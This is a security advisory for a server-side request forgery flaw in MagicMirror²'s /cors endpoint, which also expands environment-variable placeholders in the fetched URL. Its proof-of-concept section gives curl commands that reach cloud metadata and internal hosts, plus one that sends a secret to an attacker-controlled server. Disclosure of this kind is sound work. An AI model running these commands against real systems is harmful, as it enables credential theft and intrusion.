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GHSA-ph6f-2cvq-79hq

HighCVSS 8.6 / 10
Published May 5, 2026·Last modified Jun 8, 2026
Affected Components(0)

No affected components available

Description

Summary

An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets.

Details

The /cors endpoint in js/server_functions.js (function cors(), lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via fetch() and the full response is returned to the caller.

Additionally, the replaceSecretPlaceholder() function (lines 21-25) expands any **VARIABLE_NAME** pattern in the URL with the corresponding process.env value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).

Vulnerable code path:

GET /cors?url=<attacker-controlled-url>
  → replaceSecretPlaceholder(url)     // expands **ENV_VAR** → process.env.ENV_VAR
  → fetch(url)                        // no validation, no blocklist
  → response returned to attacker     // full body, status, headers

Key issues:

  • No authentication required
  • No URL validation or blocklist for private/reserved IP ranges
  • No restriction on URL scheme or destination
  • Environment variable expansion in URL before fetch

PoC

Prerequisites: a running MagicMirror² instance accessible on the network (default: http://<host>:8080).

1. Basic SSRF — access cloud metadata (AWS IMDSv1):

curl "http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/"

If the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.

2. Internal network scanning:

curl "http://<target>:8080/cors?url=http://192.168.1.1/"
curl "http://<target>:8080/cors?url=http://127.0.0.1:3000/"

The attacker can probe internal services by observing response status codes and timing.

3. Environment variable exfiltration:

curl "http://<target>:8080/cors?url=http://<attacker-server>/?leak=**SECRET_API_KEY**"

The server expands **SECRET_API_KEY** to the value of process.env.SECRET_API_KEY before making the request, sending the secret to the attacker-controlled server as a query parameter.

Impact

  • Cloud deployments (AWS/GCP/Azure): full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account
  • Internal network access: the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker
  • Secret exfiltration: environment variables containing API keys, database credentials, or other sensitive configuration are directly readable
  • Affected users: anyone running MagicMirror² exposed to an untrusted network (including LAN). The /cors endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability
Risk Scores
Base Score
8.6

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information.

Threat Intelligence
7.9

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
1.62%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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